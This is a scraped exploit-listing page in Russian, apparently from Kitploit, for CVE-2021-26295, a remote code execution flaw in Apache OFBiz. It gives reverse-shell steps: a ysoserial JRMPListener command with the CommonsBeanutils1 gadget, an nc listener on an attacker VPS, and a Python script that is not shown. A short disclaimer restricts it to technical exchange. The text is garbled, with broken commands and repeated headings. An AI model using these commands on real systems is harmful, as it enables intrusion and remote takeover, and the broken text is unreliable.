CVE-2021-26295 — Эксплойт для CVE-2021-26295 (RCE в Apache OFBiz) с использованием прослушивателя JRMP ysoserial для выполнения команд и получения обратного шелла на уязвимых целях. | Kitploit

CVE-2021-26295

CVE-2021-26295 EXP может успешно выполнить обратную оболочку (reverse shell)

Данная статья и инструмент предназначены только для технического обмена. Строго запрещено использование в незаконных целях. В противном случае всю ответственность несет пользователь.

Запуск эксплуатационного кода (EXP) для выполнения команд

1. Запустите прослушивание `RMI` на порту `9999` на VPS

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '[要执行的命令]'

2. Запустите прослушивание на порту на VPS

nc

64444

CVE-2021-26295

Популярное

3. Запустите Python-скрипт

Пример

CVE-2021-26295

Популярное

CVE-2021-26295

Запуск эксплуатационного кода (EXP) для выполнения команд

1. Запустите прослушивание RMI на порту 9999 на VPS

2. Запустите прослушивание на порту на VPS

3. Запустите Python-скрипт

Пример

1. Запустите прослушивание `RMI` на порту `9999` на VPS